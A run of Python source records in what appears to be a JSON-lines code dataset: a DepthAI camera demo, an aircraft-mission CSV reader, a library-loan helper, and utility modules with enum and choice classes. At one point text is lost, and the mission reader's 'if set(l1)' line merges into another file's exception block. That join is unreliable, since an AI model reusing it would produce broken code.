{info.leonCssMemoryUsage.total / m:.2f} MiB\")\n print(f\"LeonMss heap used / total - {info.leonMssMemoryUsage.used / m:.2f} / {info.leonMssMemoryUsage.total / m:.2f} MiB\")\n if \"temp\" in conf.args.report:\n t = info.chipTemperature\n print(f\"Chip temperature - average: {t.average:.2f}, css: {t.css:.2f}, mss: {t.mss:.2f}, upa0: {t.upa:.2f}, upa1: {t.dss:.2f}\")\n if \"cpu\" in conf.args.report:\n print(f\"Cpu usage - Leon OS: {info.leonCssCpuUsage.average * 100:.2f}%, Leon RT: {info.leonMssCpuUsage.average * 100:.2f} %\")\n print(\"----------------------------------------\")\n else:\n data = {}\n if \"memory\" in conf.args.report:\n data = {\n **data,\n \"ddrUsed\": info.ddrMemoryUsage.used,\n \"ddrTotal\": info.ddrMemoryUsage.total,\n \"cmxUsed\": info.cmxMemoryUsage.used,\n \"cmxTotal\": info.cmxMemoryUsage.total,\n \"leonCssUsed\": info.leonCssMemoryUsage.used,\n \"leonCssTotal\": info.leonCssMemoryUsage.total,\n \"leonMssUsed\": info.leonMssMemoryUsage.used,\n \"leonMssTotal\": info.leonMssMemoryUsage.total,\n }\n if \"temp\" in conf.args.report:\n data = {\n **data,\n \"tempAvg\": info.chipTemperature.average,\n \"tempCss\": info.chipTemperature.css,\n \"tempMss\": info.chipTemperature.mss,\n \"tempUpa0\": info.chipTemperature.upa,\n \"tempUpa1\": info.chipTemperature.dss,\n }\n if \"cpu\" in conf.args.report:\n data = {\n **data,\n \"cpuCssAvg\": info.leonCssCpuUsage.average,\n \"cpuMssAvg\": info.leonMssCpuUsage.average,\n }\n\n if reportFile.tell() == 0:\n print(','.join(data.keys()), file=reportFile)\n callbacks.onReport(data)\n print(','.join(map(str, data.values())), file=reportFile)\n\n\nclass Trackbars:\n instances = {}\n\n @staticmethod\n def createTrackbar(name, window, minVal, maxVal, defaultVal, callback):\n def fn(value):\n if Trackbars.instances[name][window] != value:\n callback(value)\n for otherWindow, previousValue in Trackbars.instances[name].items():\n if otherWindow != window and previousValue != value:\n Trackbars.instances[name][otherWindow] = value\n cv2.setTrackbarPos(name, otherWindow, value)\n\n cv2.createTrackbar(name, window, minVal, maxVal, fn)\n Trackbars.instances[name] = {**Trackbars.instances.get(name, {}), window: defaultVal}\n cv2.setTrackbarPos(name, window, defaultVal)\n\ndeviceInfo = getDeviceInfo(conf.args.deviceId)\nopenvinoVersion = None\nif conf.args.openvinoVersion:\n openvinoVersion = getattr(dai.OpenVINO.Version, 'VERSION_' + conf.args.openvinoVersion)\npm = PipelineManager(openvinoVersion)\n\nif conf.args.xlinkChunkSize is not None:\n pm.setXlinkChunkSize(conf.args.xlinkChunkSize)\n\nif conf.useNN:\n blobManager = BlobManager(\n zooDir=DEPTHAI_ZOO,\n zooName=conf.getModelName(),\n )\n nnManager = NNetManager(inputSize=conf.inputSize)\n\n if conf.getModelDir() is not None:\n configPath = conf.getModelDir() / Path(conf.getModelName()).with_suffix(f\".json\")\n nnManager.readConfig(configPath)\n\n nnManager.countLabel(conf.getCountLabel(nnManager))\n pm.setNnManager(nnManager)\n\n# Pipeline is defined, now we can connect to the device\nwith dai.Device(pm.pipeline.getOpenVINOVersion(), deviceInfo, usb2Mode=conf.args.usbSpeed == \"usb2\") as device:\n if deviceInfo.desc.protocol == dai.XLinkProtocol.X_LINK_USB_VSC:\n print(\"USB Connection speed: {}\".format(device.getUsbSpeed()))\n conf.adjustParamsToDevice(device)\n conf.adjustPreviewToOptions()\n if conf.lowBandwidth:\n pm.enableLowBandwidth()\n cap = cv2.VideoCapture(conf.args.video) if not conf.useCamera else None\n fps = FPSHandler() if conf.useCamera else FPSHandler(cap)\n\n if conf.useCamera or conf.args.sync:\n pv = PreviewManager(display=conf.args.show, nnSource=conf.getModelSource(), colorMap=conf.getColorMap(),\n dispMultiplier=conf.dispMultiplier, mouseTracker=True, lowBandwidth=conf.lowBandwidth,\n scale=conf.args.scale, sync=conf.args.sync, fpsHandler=fps)\n\n if conf.leftCameraEnabled:\n pm.createLeftCam(monoRes, conf.args.monoFps, orientation=conf.args.cameraOrientation.get(Previews.left.name),\n xout=Previews.left.name in conf.args.show and (conf.getModelSource() != \"left\" or not conf.args.sync)\n )\n if conf.rightCameraEnabled:\n pm.createRightCam(monoRes, conf.args.monoFps, orientation=conf.args.cameraOrientation.get(Previews.right.name),\n xout=Previews.right.name in conf.args.show and (conf.getModelSource() != \"right\" or not conf.args.sync)\n )\n if conf.rgbCameraEnabled:\n pm.createColorCam(nnManager.inputSize if conf.useNN else conf.previewSize, rgbRes, conf.args.rgbFps, orientation=conf.args.cameraOrientation.get(Previews.color.name),\n fullFov=not conf.args.disableFullFovNn, xout=Previews.color.name in conf.args.show and (conf.getModelSource() != \"color\" or not conf.args.sync)\n )\n\n if conf.useDepth:\n pm.createDepth(\n conf.args.disparityConfidenceThreshold,\n conf.getMedianFilter(),\n conf.args.sigma,\n conf.args.stereoLrCheck,\n conf.args.lrcThreshold,\n conf.args.extendedDisparity,\n conf.args.subpixel,\n useDepth=Previews.depth.name in conf.args.show or Previews.depthRaw.name in conf.args.show ,\n useDisparity=Previews.disparity.name in conf.args.show or Previews.disparityColor.name in conf.args.show,\n useRectifiedLeft=Previews.rectifiedLeft.name in conf.args.show and (conf.getModelSource() != \"rectifiedLeft\" or not conf.args.sync),\n useRectifiedRight=Previews.rectifiedRight.name in conf.args.show and (conf.getModelSource() != \"rectifiedRight\" or not conf.args.sync),\n )\n\n encManager = None\n if len(conf.args.encode) > 1:\n encManager = EncodingManager(conf.args.encode, conf.args.encodeOutput)\n encManager.createEncoders(pm)\n\n if len(conf.args.report) > 0:\n pm.createSystemLogger()\n\n if conf.useNN:\n nn = nnManager.createNN(\n pipeline=pm.pipeline, nodes=pm.nodes, source=conf.getModelSource(),\n blobPath=blobManager.getBlob(shaves=conf.shaves, openvinoVersion=nnManager.openvinoVersion),\n useDepth=conf.useDepth, minDepth=conf.args.minDepth, maxDepth=conf.args.maxDepth,\n sbbScaleFactor=conf.args.sbbScaleFactor, fullFov=not conf.args.disableFullFovNn,\n flipDetection=conf.getModelSource() in (\"rectifiedLeft\", \"rectifiedRight\") and not conf.args.stereoLrCheck,\n )\n\n pm.addNn(\n nn=nn, sync=conf.args.sync, xoutNnInput=Previews.nnInput.name in conf.args.show,\n useDepth=conf.useDepth, xoutSbb=conf.args.spatialBoundingBox and conf.useDepth\n )\n\n # Start pipeline\n device.startPipeline(pm.pipeline)\n pm.createDefaultQueues(device)\n if conf.useNN:\n nnManager.createQueues(device)\n\n sbbOut = device.getOutputQueue(\"sbb\", maxSize=1, blocking=False) if conf.useNN and conf.args.spatialBoundingBox else None\n logOut = device.getOutputQueue(\"systemLogger\", maxSize=30, blocking=False) if len(conf.args.report) > 0 else None\n\n medianFilters = cycle([item for name, item in vars(dai.MedianFilter).items() if name.startswith('KERNEL_') or name.startswith('MEDIAN_')])\n for medFilter in medianFilters:\n # move the cycle to the current median filter\n if medFilter == pm._depthConfig.getMedianFilter():\n break\n\n if conf.useCamera:\n def createQueueCallback(queueName):\n if queueName in [Previews.disparityColor.name, Previews.disparity.name, Previews.depth.name, Previews.depthRaw.name]:\n Trackbars.createTrackbar('Disparity confidence', queueName, DISP_CONF_MIN, DISP_CONF_MAX, conf.args.disparityConfidenceThreshold,\n lambda value: pm.updateDepthConfig(device, dct=value))\n if queueName in [Previews.depthRaw.name, Previews.depth.name]:\n Trackbars.createTrackbar('Bilateral sigma', queueName, SIGMA_MIN, SIGMA_MAX, conf.args.sigma,\n lambda value: pm.updateDepthConfig(device, sigma=value))\n if conf.args.stereoLrCheck:\n Trackbars.createTrackbar('LR-check threshold', queueName, LRCT_MIN, LRCT_MAX, conf.args.lrcThreshold,\n lambda value: pm.updateDepthConfig(device, lrcThreshold=value))\n\n cameras = device.getConnectedCameras()\n if dai.CameraBoardSocket.LEFT in cameras and dai.CameraBoardSocket.RIGHT in cameras:\n pv.collectCalibData(device)\n\n cameraConfig = {\n \"exposure\": conf.args.cameraExposure,\n \"sensitivity\": conf.args.cameraSensitivity,\n \"saturation\": conf.args.cameraSaturation,\n \"contrast\": conf.args.cameraContrast,\n \"brightness\": conf.args.cameraBrightness,\n \"sharpness\": conf.args.cameraSharpness\n }\n def updateCameraConfigs():\n if conf.leftCameraEnabled:\n pm.updateLeftCamConfig(device, **cameraConfig)\n if conf.rightCameraEnabled:\n pm.updateRightCamConfig(device, **cameraConfig)\n if conf.rgbCameraEnabled:\n pm.updateColorCamConfig(device, **cameraConfig)\n\n if any(cameraConfig.values()):\n updateCameraConfigs()\n\n pv.createQueues(device, createQueueCallback)\n if encManager is not None:\n encManager.createDefaultQueues(device)\n elif conf.args.sync:\n hostOut = device.getOutputQueue(Previews.nnInput.name, maxSize=1, blocking=False)\n\n seqNum = 0\n hostFrame = None\n nnData = []\n sbbRois = []\n callbacks.onSetup(**locals())\n\n try:\n while True:\n fps.nextIter()\n callbacks.onIter(**locals())\n if conf.useCamera:\n pv.prepareFrames(callback=callbacks.onNewFrame)\n if encManager is not None:\n encManager.parseQueues()\n\n if sbbOut is not None:\n sbb = sbbOut.tryGet()\n if sbb is not None:\n sbbRois = sbb.getConfigData()\n depthFrames = [pv.get(Previews.depthRaw.name), pv.get(Previews.depth.name)]\n for depthFrame in depthFrames:\n if depthFrame is None:\n continue\n\n for roiData in sbbRois:\n roi = roiData.roi.denormalize(depthFrame.shape[1], depthFrame.shape[0])\n topLeft = roi.topLeft()\n bottomRight = roi.bottomRight()\n # Display SBB on the disparity map\n cv2.rectangle(depthFrame, (int(topLeft.x), int(topLeft.y)), (int(bottomRight.x), int(bottomRight.y)), nnManager._bboxColors[0], 2)\n else:\n readCorrectly, rawHostFrame = cap.read()\n if not readCorrectly:\n break\n\n nnManager.sendInputFrame(rawHostFrame, seqNum)\n seqNum += 1\n\n if not conf.args.sync:\n hostFrame = rawHostFrame\n fps.tick('host')\n\n if conf.useNN:\n inNn = nnManager.outputQueue.tryGet()\n if inNn is not None:\n callbacks.onNn(inNn)\n if not conf.useCamera and conf.args.sync:\n hostFrame = Previews.nnInput.value(hostOut.get())\n nnData = nnManager.decode(inNn)\n fps.tick('nn')\n\n if conf.useCamera:\n if conf.useNN:\n nnManager.draw(pv, nnData)\n\n def showFramesCallback(frame, name):\n fps.drawFps(frame, name)\n h, w = frame.shape[:2]\n if name in [Previews.disparityColor.name, Previews.disparity.name, Previews.depth.name, Previews.depthRaw.name]:\n text = \"Median filter: {} [M]\".format(pm._depthConfig.getMedianFilter().name.lstrip(\"KERNEL_\").lstrip(\"MEDIAN_\"))\n cv2.putText(frame, text, (10, h - 10), cv2.FONT_HERSHEY_SIMPLEX, 0.5, 0, 4)\n cv2.putText(frame, text, (10, h - 10), cv2.FONT_HERSHEY_SIMPLEX, 0.5, 255, 1)\n elif conf.args.cameraControlls and name in [Previews.color.name, Previews.left.name, Previews.right.name]:\n text = \"Exposure: {} T [+] [-] G\".format(cameraConfig[\"exposure\"] if cameraConfig[\"exposure\"] is not None else \"auto\")\n label_width = cv2.getTextSize(text, cv2.FONT_HERSHEY_TRIPLEX, 0.5, 4)[0][0]\n cv2.putText(frame, text, (w - label_width, h - 110), cv2.FONT_HERSHEY_TRIPLEX, 0.5, (0, 0, 0), 4)\n cv2.putText(frame, text, (w - label_width, h - 110), cv2.FONT_HERSHEY_TRIPLEX, 0.5, (255, 255, 255), 1)\n text = \"Sensitivity: {} Y [+] [-] H\".format(cameraConfig[\"sensitivity\"] if cameraConfig[\"sensitivity\"] is not None else \"auto\")\n label_width = cv2.getTextSize(text, cv2.FONT_HERSHEY_TRIPLEX, 0.5, 4)[0][0]\n cv2.putText(frame, text, (w - label_width, h - 90), cv2.FONT_HERSHEY_TRIPLEX, 0.5, (0, 0, 0), 4)\n cv2.putText(frame, text, (w - label_width, h - 90), cv2.FONT_HERSHEY_TRIPLEX, 0.5, (255, 255, 255), 1)\n text = \"Saturation: {} U [+] [-] J\".format(cameraConfig[\"saturation\"] if cameraConfig[\"saturation\"] is not None else \"auto\")\n label_width = cv2.getTextSize(text, cv2.FONT_HERSHEY_TRIPLEX, 0.5, 4)[0][0]\n cv2.putText(frame, text, (w - label_width, h - 70), cv2.FONT_HERSHEY_TRIPLEX, 0.5, (0, 0, 0), 4)\n cv2.putText(frame, text, (w - label_width, h - 70), cv2.FONT_HERSHEY_TRIPLEX, 0.5, (255, 255, 255), 1)\n text = \"Contrast: {} I [+] [-] K\".format(cameraConfig[\"contrast\"] if cameraConfig[\"contrast\"] is not None else \"auto\")\n label_width = cv2.getTextSize(text, cv2.FONT_HERSHEY_TRIPLEX, 0.5, 4)[0][0]\n cv2.putText(frame, text, (w - label_width, h - 50), cv2.FONT_HERSHEY_TRIPLEX, 0.5, (0, 0, 0), 4)\n cv2.putText(frame, text, (w - label_width, h - 50), cv2.FONT_HERSHEY_TRIPLEX, 0.5, (255, 255, 255), 1)\n text = \"Brightness: {} O [+] [-] L\".format(cameraConfig[\"brightness\"] if cameraConfig[\"brightness\"] is not None else \"auto\")\n label_width = cv2.getTextSize(text, cv2.FONT_HERSHEY_TRIPLEX, 0.5, 4)[0][0]\n cv2.putText(frame, text, (w - label_width, h - 30), cv2.FONT_HERSHEY_TRIPLEX, 0.5, (0, 0, 0), 4)\n cv2.putText(frame, text, (w - label_width, h - 30), cv2.FONT_HERSHEY_TRIPLEX, 0.5, (255, 255, 255), 1)\n text = \"Sharpness: {} P [+] [-] ;\".format(cameraConfig[\"sharpness\"] if cameraConfig[\"sharpness\"] is not None else \"auto\")\n label_width = cv2.getTextSize(text, cv2.FONT_HERSHEY_TRIPLEX, 0.5, 4)[0][0]\n cv2.putText(frame, text, (w - label_width, h - 10), cv2.FONT_HERSHEY_TRIPLEX, 0.5, (0, 0, 0), 4)\n cv2.putText(frame, text, (w - label_width, h - 10), cv2.FONT_HERSHEY_TRIPLEX, 0.5, (255, 255, 255), 1)\n returnFrame = callbacks.onShowFrame(frame, name)\n return returnFrame if returnFrame is not None else frame\n pv.showFrames(callback=showFramesCallback)\n elif hostFrame is not None:\n debugHostFrame = hostFrame.copy()\n if conf.useNN:\n nnManager.draw(debugHostFrame, nnData)\n fps.drawFps(debugHostFrame, \"host\")\n cv2.imshow(\"host\", debugHostFrame)\n\n if logOut:\n logs = logOut.tryGetAll()\n for log in logs:\n printSysInfo(log)\n\n key = cv2.waitKey(1)\n if key == ord('q'):\n break\n elif key == ord('m'):\n nextFilter = next(medianFilters)\n pm.updateDepthConfig(device, median=nextFilter)\n\n if conf.args.cameraControlls:\n update = True\n\n if key == ord('t'):\n cameraConfig[\"exposure\"] = 10000 if cameraConfig[\"exposure\"] is None else 500 if cameraConfig[\"exposure\"] == 1 else min(cameraConfig[\"exposure\"] + 500, 33000)\n if cameraConfig[\"sensitivity\"] is None:\n cameraConfig[\"sensitivity\"] = 800\n elif key == ord('g'):\n cameraConfig[\"exposure\"] = 10000 if cameraConfig[\"exposure\"] is None else max(cameraConfig[\"exposure\"] - 500, 1)\n if cameraConfig[\"sensitivity\"] is None:\n cameraConfig[\"sensitivity\"] = 800\n elif key == ord('y'):\n cameraConfig[\"sensitivity\"] = 800 if cameraConfig[\"sensitivity\"] is None else min(cameraConfig[\"sensitivity\"] + 50, 1600)\n if cameraConfig[\"exposure\"] is None:\n cameraConfig[\"exposure\"] = 10000\n elif key == ord('h'):\n cameraConfig[\"sensitivity\"] = 800 if cameraConfig[\"sensitivity\"] is None else max(cameraConfig[\"sensitivity\"] - 50, 100)\n if cameraConfig[\"exposure\"] is None:\n cameraConfig[\"exposure\"] = 10000\n elif key == ord('u'):\n cameraConfig[\"saturation\"] = 0 if cameraConfig[\"saturation\"] is None else min(cameraConfig[\"saturation\"] + 1, 10)\n elif key == ord('j'):\n cameraConfig[\"saturation\"] = 0 if cameraConfig[\"saturation\"] is None else max(cameraConfig[\"saturation\"] - 1, -10)\n elif key == ord('i'):\n cameraConfig[\"contrast\"] = 0 if cameraConfig[\"contrast\"] is None else min(cameraConfig[\"contrast\"] + 1, 10)\n elif key == ord('k'):\n cameraConfig[\"contrast\"] = 0 if cameraConfig[\"contrast\"] is None else max(cameraConfig[\"contrast\"] - 1, -10)\n elif key == ord('o'):\n cameraConfig[\"brightness\"] = 0 if cameraConfig[\"brightness\"] is None else min(cameraConfig[\"brightness\"] + 1, 10)\n elif key == ord('l'):\n cameraConfig[\"brightness\"] = 0 if cameraConfig[\"brightness\"] is None else max(cameraConfig[\"brightness\"] - 1, -10)\n elif key == ord('p'):\n cameraConfig[\"sharpness\"] = 0 if cameraConfig[\"sharpness\"] is None else min(cameraConfig[\"sharpness\"] + 1, 4)\n elif key == ord(';'):\n cameraConfig[\"sharpness\"] = 0 if cameraConfig[\"sharpness\"] is None else max(cameraConfig[\"sharpness\"] - 1, 0)\n else:\n update = False\n\n if update:\n updateCameraConfigs()\n\n finally:\n if conf.useCamera and encManager is not None:\n encManager.close()\n\nif conf.args.reportFile:\n reportFile.close()\n\nfps.printStatus()\ncallbacks.onTeardown(**locals())","sub_path":"depthai_demo.py","file_name":"depthai_demo.py","file_ext":"py","file_size_in_byte":22119,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"649307570","text":"import csv\nfrom objects import *\nimport pandas as pd\n\ndef lecture(pathCSV):\n # le chemin du fichier csv à lire\n source = pathCSV\n nom_fichier = lecture_fichier(source)\n path = nom_fichier[1]\n # Lecture des données de chaque categorie dans le fichier csv\n listeInd=indexCategories(path)\n lecture_l_p = lectureCategorie(path, listeInd, \"parametres\")\n lecture_l_a = lectureCategorie(path, listeInd, \"avion\")\n lecture_l_m = lectureCategorie(path, listeInd, \"mission\")\n lecture_l_mt = lectureCategorie(path, listeInd, \"maintenance\")\n\n # creation des objets à partir des données récupérées\n param_init=affectationParam(lecture_l_p) # dates de la simulation ****Done****\n l_a=creationListeAvion(lecture_l_a) # liste des avions ****Done****\n l_m=creationListeMission(lecture_l_m) # liste des missions ****Done****\n l_mt = creationListeMaintenance(lecture_l_mt) # liste des maintenances\n for a in l_a:\n print(a.nom,a.capacite)\n for m in l_m:\n print(m.nom, m.capa_avion)\n df= lectureDF(l_a,nom_fichier[2])\n #print(df.index)\n y=df.as_matrix()\n #y[0][0]='valeur'\n #print(type(y))\n index=df.index\n df1=pd.DataFrame(y,index=index,columns=l_a)\n #print(type(df1.columns[0]))\n #print(df1)\n capaciteMission(l_a[0],l_m[0])\n\n return [l_a,l_m,l_mt,param_init,df1,nom_fichier]\n\ndef indexCategories(path):\n listeIndex=[]\n with open(path) as f:\n reader = f.readlines()\n for line in reader:\n if line[:9] == \"categorie\" or line[:3]==\"fin\":\n nb = reader.index(line)\n listeIndex.append(nb)\n return listeIndex\n\ndef lectureCategorie(path,listeIndices,categorie):\n liste1=[]\n with open(path, newline='') as f:\n reader=csv.reader(f,delimiter=';')\n next(reader)\n for row in reader:\n liste1.append(row)\n if categorie==\"mission\":\n liste2=liste1[listeIndices[2]:listeIndices[3]-1]\n if categorie==\"maintenance\":\n liste2=liste1[listeIndices[3]:listeIndices[4]-1]\n if categorie==\"parametres\":\n liste2=liste1[listeIndices[0]:listeIndices[1]-1]\n if categorie==\"avion\":\n liste2=liste1[listeIndices[1]:listeIndices[2]-1]\n return liste2\n\ndef creationListeAvion(l):\n listeAvion=[]\n for i in l:\n j=len(i)\n listeCapa =[]\n for k in range(8,j):\n if i[k] != '':\n listeCapa.append(i[k])\n listeAvion.append(avion(i[0],i[1],listeCapa,float(i[2]),float(i[3]),float(i[4]),float(i[5]),i[6]))\n return listeAvion\n\ndef creationListeMaintenance(l):\n listeMaintenance=[]\n for i in l:\n listeMaintenance.append(maintenance(i[1],i[2],float(i[4]),float(i[5]),float(i[6]),float(i[7])))\n return listeMaintenance\n\ndef creationListeMission(l):\n listeMission=[]\n for i in l:\n listeCapa = []\n for k in range(9, len(i)):\n if i[k]!='99':\n listeCapa.append(i[k])\n listeMission.append(mission(i[0],int(i[1]),int(i[2]),float(i[3]),float(i[4]),float(i[5]),float(i[6]),i[8],listeCapa,int(i[7])))\n return listeMission\ndef affectationParam(l):\n\n listeParam=[]\n for i in l:\n listeParam.append(i[1])\n p=parametre(int(listeParam[0]),int(listeParam[1]),int(listeParam[2]),int(listeParam[3]))\n return p\n\ndef lectureDF(l,s):\n path=s\n dataframeInit=pd.read_csv(path,sep=';',header=0,index_col=0,skiprows=[0,1,2,3])\n t=dataframeInit.T\n return t\ndef capaciteMission(a,m): # checks if the capacities required by a mission are satisfied by the airplane\n l2=m.capa_avion\n l1=a.capacite\n if set(l1) \"\"\nexcept TypeError: # pragma: no cover\n # No implicit ordering (newer Python)\n def assert_unorderable(a, b):\n \"\"\"Assert that a and b are unorderable\"\"\"\n return NotImplemented\nelse: # pragma: no cover\n # Implicit ordering by default (older Python)\n # We must raise an exception ourselves\n # To prevent nonsensical ordering\n def assert_unorderable(a, b):\n \"\"\"Assert that a and b are unorderable\"\"\"\n raise TypeError(\"unorderable types: %s and %s\"\n % (type(a).__name__, type(b).__name__))\n\ndef cached_property(func):\n \"\"\"Special property decorator that caches the computed \n property value in the object's instance dict the first \n time it is accessed.\n \"\"\"\n\n def getter(self, name=func.func_name):\n try:\n return self.__dict__[name]\n except KeyError:\n self.__dict__[name] = value = func(self)\n return value\n \n getter.func_name = func.func_name\n return property(getter, doc=func.func_doc)\n\ndef cos_sin_deg(deg):\n \"\"\"Return the cosine and sin for the given angle\n in degrees, with special-case handling of multiples\n of 90 for perfect right angles\n \"\"\"\n deg = deg % 360.0\n if deg == 90.0:\n return 0.0, 1.0\n elif deg == 180.0:\n return -1.0, 0\n elif deg == 270.0:\n return 0, -1.0\n rad = math.radians(deg)\n return math.cos(rad), math.sin(rad)\n\n\n# vim: ai ts=4 sts=4 et sw=4 tw=78\n\n","sub_path":"build/lib/planar/util.py","file_name":"util.py","file_ext":"py","file_size_in_byte":2194,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"105580085","text":"import DAO\nfrom model.Param_regex import params_for_regex\n\nglobal clients, books, data_reser\n\ndef Devolver(book,client):\n\n book = params_for_regex(book)\n client_book = DAO.Info_DAO.info(book, client)\n client, book = client_book[0],client_book[1]\n\n if (book.name not in books and client.name not in clients):\n print(\"\\nNao e possivel devolver o livro\\n\")\n\n else:\n books[book.name][\"Copys\"] +=1\n\n","sub_path":"Refactoring-0.0.1/DAO/Devolver_DAO.py","file_name":"Devolver_DAO.py","file_ext":"py","file_size_in_byte":424,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"292031952","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nMiscellaneaous low level utilities\n\"\"\"\n# Copyright 2020-2021 Shom\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n\nimport types\nfrom enum import IntEnum, EnumMeta\n\nimport numpy as np\n\nfrom .__init__ import XoaError\n\n\nclass XEnumMeta(EnumMeta):\n \"\"\"Exented version ofnum meta-class\n\n This version supports:\n\n - :meth:`__contains__` (``in``) with strings\n - a better :meth:`__str__` (``str()``) method\n - a :meth:`get_rst` methods and :attr`str` and\n :attr:`rst_with_links` properties.\n\n Example\n -------\n .. ipython:: python\n\n @suppress\n from xoa.misc import XEnumMeta\n from enum import IntEnum\n\n class regrid_methods(IntEnum, metaclass=XEnumMeta):\n linear = 1\n bilinear = 1\n nearest = 0\n cellave = -1\n\n regrid_methods\n 'linear' in regrid_methods\n 'xxx' in regrid_methods\n 1 in regrid_methods\n str(regrid_methods)\n regrid_methods.get_rst(with_links=True, link_module=\"xoa.tutu\")\n regrid_methods.rst\n\n \"\"\"\n\n default = None\n\n # def __call__(cls, value=None, *args, **kwargs):\n # if value is None:\n # return next(iter(cls))\n # return super().__call__(value, *args, **kwargs)\n\n def __getitem__(cls, name):\n if not isinstance(name, str):\n return cls(name)\n return cls._member_map_[name]\n\n def __contains__(cls, value):\n if isinstance(value, str):\n return value in list(cls._member_map_.keys())\n return super().__call__(value)\n\n def _get_groups_(cls):\n groups = {}\n for name, number in cls._member_map_.items():\n groups.setdefault(int(number), []).append(name)\n return groups\n\n def _get_choices_(cls, es=\"\"):\n choices = []\n for number, names in cls._get_groups_().items():\n cc = [f\"{number}\"] + [f'\"{name}\"' for name in names]\n choices.append(es + \"|\".join(cc) + es)\n return choices\n\n def __str__(cls):\n return \", \".join(cls._get_choices_())\n\n def __repr__(cls):\n return f\"{cls.__name__}: {cls}\"\n\n def get_rst(cls, with_links=False, link_module=None):\n if with_links:\n choices = []\n prefix = (link_module + \".\") if link_module else \"\"\n prefix += cls.__name__ + \".\"\n for number, names in cls._get_groups_().items():\n number = int(number)\n attr = names[0]\n choice = \"|\".join([f\"{number:d}\"] + [f'\"{name}\"' for name in names])\n choices.append(f\":attr:`{choice}<{prefix}{attr}>`\")\n return \", \".join(choices)\n else:\n return \", \".join(cls._get_choices_(\"``\"))\n\n @property\n def rst(cls):\n return cls.get_rst()\n\n @property\n def rst_with_links(cls):\n return cls.get_rst(with_links=True)\n\n\nclass DefaultEnumMeta(XEnumMeta):\n \"\"\"Enum meta-class that support default value and None\n\n When the item is not provided or equal to ``None``, the first\n declared item is returned\n\n Inspired from: https://stackoverflow.com/questions/44867597/is-there-a-way-to-specify-a-default-value-for-python-enums\n\n Example\n -------\n .. ipython:: python\n\n @suppress\n from xoa.misc import DefaultEnumMeta\n from enum import IntEnum\n\n class regrid_methods(IntEnum, metaclass=DefaultEnumMeta):\n linear = 1\n bilinear = 1\n nearest = 0\n cellave = -1\n\n regrid_methods() # default method\n regrid_methods(None) # default method\n regrid_methods(1)\n regrid_methods[None] # default method\n regrid_methods['linear']\n regrid_methods['cellave']\n\n \"\"\"\n\n default = None\n\n def __call__(cls, value=None, *args, **kwargs):\n if value is None:\n return next(iter(cls))\n if isinstance(value, str):\n return cls._member_map_[value]\n return super().__call__(value, *args, **kwargs)\n\n def __getitem__(cls, name):\n if name is None:\n return next(iter(cls))\n if not isinstance(name, str):\n return cls(name)\n return cls._member_map_[name]\n\n\nclass IntEnumChoices(IntEnum):\n def __str__(self):\n return self.name\n\n\nclass Choices(object):\n \"\"\"Choice management for a function or method parameter\n\n Parameters\n ----------\n choices: dict, list\n Allowed choices. When a dict, values are considered as the\n description of choices.\n case_insensitive: bool\n Wether the treatment of string type choice should be case\n sensitive or not.\n parameter: None, str\n Parameter name, which defaults to the lower case class name\n description: str\n Short description of the parameter.\n \"\"\"\n\n def __init__(self, choices, case_insensitive=True, parameter=None, description=\"Choices\"):\n self._ci = case_insensitive\n self._docs = {}\n if isinstance(choices, dict):\n self._choices = []\n for value, doc in choices.items():\n value = self._reformat_value_(value)\n self._docs[value] = doc\n self._choices.append(value)\n else:\n self._choices = [self._reformat_value_(value) for value in choices]\n self._parameter = self.__class__.__name__.lower() if parameter is None else parameter\n self._description = description\n\n @property\n def choices(self):\n return self._choices\n\n def _reformat_value_(self, value):\n if self._ci and isinstance(value, str):\n return value.lower()\n return value\n\n def __getitem__(self, choice):\n choice = self._reformat_value_(choice)\n if choice not in self._choices:\n desc = self._description if self._description else 'choice'\n raise XoaError(\n f\"Invalid choice for \\\"{desc}\\\": {choice}. \" f\"Please choose one of: {self}\"\n )\n return choice\n\n def __str__(self):\n return \", \".join(self._choices)\n\n def to_docstring(self, indent=4):\n \"\"\"Convert to numpy-like docstring\n\n Parameters\n ----------\n indent: str, int\n Base indentation. Integers are multiplied by a space char.\n\n Return\n ------\n str\n Docstring of this parameter\n \"\"\"\n indent = (\" \" * indent) if isinstance(indent, int) else indent\n pindent = indent + 4 * \" \"\n types = \"{\" + \", \".join([repr(c) for c in self.choices]) + \"}\"\n rst = f\"{self._parameter}: {types}\\n\"\n if self._description:\n rst += f\"{pindent}{self._description}\\n\"\n if self._docs:\n rst += \"\\n\"\n for choice, doc in self._docs.items():\n rst += f\"{pindent}- ``{choice}``: {doc}\\n\"\n # rst += \"\\n\"\n return rst\n\n def format_function_docstring(self, func):\n func.__doc__ = func.__doc__.format(**{self._parameter: self.to_docstring(4)})\n return func\n\n def format_method_docstring(self, func):\n func.__doc__ = func.__doc__.format(**{self._parameter: self.to_docstring(8)})\n return func\n\n\nERRORS = Choices(\n {\"ignore\": \"silently ignore\", \"warn\": \"emit a warning\", \"raise\": \"raise an exception\"},\n parameter=\"errors\",\n description=\"In case of errors\",\n)\n\n\ndef get_axis_slices(ndim, axis, **kwargs):\n \"\"\"Get standard slices for an axis of a ndim array\n\n Parameters\n ----------\n ndim:\n The number of dimensions. It can also be\n a tuple (like an array shape) or an array.\n axis:\n Index of the axis.\n\n Return\n ------\n A dictionary of tuples of slices. All tuples have a\n length of ndim, and can be used has a slice for the array\n (see exedges =ample).\n\n - ``\"all\"``: Select everything.\n - ``\"first\"``/``\"last\"``: First and last.\n - ``\"firstp1\"``: Second element.\n - ``\"firstp2\"``: Third element.\n - ``\"lastm1\"``: Element before the last one.\n - ``\"lastm2\"``: Second element before the last one.\n - ``\"firsts\"``: All but the last.\n - ``\"lasts\"``: All but the first.\n - ``\"firstsm1\"``: All but the last two.\n - ``\"lastsp1\"``: All but the first two.\n - ``\"mid\"``: All but the first and last.\n\n Example\n -------\n .. ipython:: python\n\n @suppress\n import numpy as np, pprint\n 